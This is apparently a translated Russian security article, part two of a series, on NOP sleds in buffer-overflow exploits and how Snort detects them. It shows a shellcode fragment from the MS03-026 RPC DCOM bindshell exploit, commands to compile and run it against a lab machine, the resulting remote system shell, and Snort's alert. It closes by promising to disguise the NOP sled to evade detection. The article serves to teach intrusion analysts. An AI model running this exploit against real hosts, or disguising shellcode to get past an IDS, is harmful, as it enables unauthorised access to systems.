В данной, второй части мы посмотрим, чем фактически является NOP след и на что он похож. Далее мы используем эксплоит с существующим NOP след, чтобы увидеть, как он отображается в системе обнаружения атак (IDS), такой как Snort, с установленным по умолчанию набором правил.
Если Вы пропустили другие статьи в данной серии, пожалуйста, прочитайте:
Продолжая с того места, где закончилась первая часть статьи, мы теперь на практике посмотрим на полнофункциональный эксплоит, который содержит в себе NOP след. В этой части мы скомпилируем эксплоит, а затем используем его против лабораторной машины. На данной машине будет запущена система Snort с набором правил (ruleset) по умолчанию. Фактическим эксплоитом будет MS03-026, код которого можно загрузить отсюда. Обратите внимание, что код эксплоита должен быть скомпилирован на компьютере под управлением Linux или Windows с запущенным Cygwin. Для тех из вас, кто слабо себе представляет, как люди узнают, под какой системой компилировать тот или иной код, существует небольшая подсказка. Посмотрите в секцию #include кода эксплоита. Она содержит ссылки на модули, специфические либо для win32, либо для Linux. Посмотрите на нижеприведенный пример:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
Мы видим, что для компиляции данного кода требуется модуль #include <unistd.h>. Такой файл можно найти только в операционной системе Linux. Это стандартный файл заголовка UNIX. Это говорит вам, что код данного эксплоита нельзя скомпилировать на системе win32, по крайней мере без использования Cygwin. Если вы по профессии не программист, такие маленькие хитрости укажут вам, под какой ОС следует компилировать код данного эксплоита. Теперь, когда мы знаем, под какой системой компилировать вышеупомянутый эксплоит, давайте посмотрим на NOP след в его коде.
/* bindshell no RPC crash, defineable spawn port */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
Мы видим выше, что это NOP след, известный также как 0x90, который, как я уже упоминал, может засечь почти любая система обнаружения атак. Почти все IDS содержат данную последовательность 0x90 как часть сигнатуры попытки переполнения буфера. Это самая характерная деталь, которую мы хотим закамуфлировать, и от этого будет отталкиваться наша работа. С этой целью я скомпилирую данный код и надеюсь, что вы тоже это сделаете. Затем мы запустим его против лабораторной машины с запущенной системой Snort. Это позволит нам увидеть, сработали ли какие-либо сигнатуры, и если да, то какие именно. Я буду компилировать свой код под Linux как указано ниже:
Учтите, что я делаю это в Linux. Я вырезаю и вставляю код в файл, созданный мною в xterm. Получившийся файл я называю test_sploit.c
Теперь я должен скомпилировать сам код, используя gcc, следующей командой:
linux:/home/don # gcc –o test_sploit test_sploit.c
Во время компиляции кода вы увидите два предупреждения. Игнорируйте их – они не повлияют на компилируемый бинарник. Теперь мы хотим вызвать эксплоит и посмотреть, работает ли он.
linux:/home/don # ./test_sploit
RPC DCOM exploit coded by .:[oc192.us]:. Security
Usage:./test_sploit -d <host> [options]
Options:
-d: Hostname to attack [Required]
-t: Type [Default: 0]
-r: Return address [Default: Selected from target]
-p: Attack port [Default: 135]
-l: Bindshell port [Default: 666]Types:
0 [0x0018759f]: [Win2k-Universal]
1 [0x0100139d]: [WinXP-Universal]
linux:/home/don #
Итак, на данный момент мы знаем, что программа работает, но чтобы удостовериться, что она реально «сорвет крышу» уязвимому компьютеру, нам нужно заполнить ее необходимой информацией, как указано выше. Реально я записываю только одно – IP-адрес компьютера-жертвы в лаборатории. Остальные поля я оставлю настроенными по умолчанию.
linux:/home/don # ./test_sploit -d 192.168.1.101
RPC DCOM remote exploit — .:[oc192.us]:. Security
[+] Resolving host..
[+] Done.
— Target: [Win2k-Universal]:192.168.1.101:135, Bindshell:666,
RET=[0x0018759f]
[+] Connected to bindshell..
— bling bling —
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.C:\WINNT\system32>
Итак, по указанной выше информации мы видим, что эксплоит сработал и предоставил нам доступ на уровне системы. Теперь посмотрим на сам компьютер-жертву, чтобы увидеть, что засекла система Snort, если она вообще что-либо засекла. Ниже показан фактически сгенерированный Snort файл alert.ids, когда система обнаружила пакеты, идущие от атакующего компьютера.
[**] [1:2351:8] NETBIOS DCERPC ISystemActivator path overflow attempt little endian [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
01/28-08:49:36.011482 192.168.1.102:1040 -> 192.168.1.101:135
TCP TTL:64 TOS:0x0 ID:31304 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xFFBD6980 Ack: 0x1071DF86 Win: 0x5B4 TcpLen: 32
TCP Options (3) => NOP NOP TS: 3937142 27317[Xref => http://cgi.nessus.org/plugins/dump.php3?id=11808][Xref =>
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx][Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0352][Xref => http://www.securityfocus.com/bid/8205]
Как показывает файл alert.ids, система Snort на самом деле сообщила об атаке по сигнатуре NETBIOS DCERPC. DCERPC означает Distributed Computing Environment, Remote Procedure Call (Среда распределенных вычислений, удаленный вызов процедуры), иначе говоря, порт 135. Отлично – сообщение Snort указывает на попытку захвата административных привилегий. Наконец, система также замечает, что уязвимость подвержена эксплоиту, и показывает гиперссылку на него. Имея в наличии такую информацию, аналитик может посмотреть на подозрительные пакеты и увидеть, что атака была нацелена на порт 135. Это, плюс факт, что в пакет, содержащий сам эксплоит, включен хорошо известный NOP след, позволяет утверждать, что атака была настоящей. Все свидетельства говорят аналитику, что тревога не была ложной.
Итак, мы видим, что существуют специфические критерии, на которые аналитику по сетевой безопасности следует обращать внимание. Одним из главных индикаторов (так как он касается переполнения буфера), как мы теперь знаем, является присутствие NOP след. Это сообщает нам, что поставщики систем обнаружения атак используют при создании эффективных сигнатур. Будучи аналитиком по сетевой безопасности, я знаю, что много моих коллег смотрят, присутствует ли в пакете 0x90, чтобы подтвердить факт попытки переполнения буфера. Однако проблема в том, что несколько раз я лично видел, как опытные аналитики объявляли о ложной тревоге только из-за отсутствия NOP след.
Вряд ли можно обвинить человека, не прошедшего соответствующую практику, в неспособности выполнять свои обязанности. Я узнал об обфускации кода оболочки, зайдя по ссылке, ведущей к данной проблеме. Только после прочтения достаточного количества материалов по теме я начал понимать, в чем дело. Сам я не программист, но могу осознать, что означает большая часть исходного кода, читая его. Только после множества попыток и ошибок я смог найти равнозначную замену для 0x90. Сделав это, я начал экспериментировать с заменой нескольких равнозначных функций между собой. Если вы используете только одну функцию или символ, вы далеко не уедете. Аналитик не успокоится, увидев, скажем, множество вхождений 0x42, так как он зпо идее знает, что это та же попытка переполнения буфера, только с использованием другого символа. На этом мы закончим данную часть статьи. В последней части мы замаскируем используемый ранее NOP след и используем некоторые другие функции, чтобы добиться такого же эффекта. Затем полученный результат будет протестирован против Snort и посмотрим, что получится. До встречи!
Источник www.windowsecurity.com
Tags: bind, cgi, linux, mac, quote, redirect, UNIX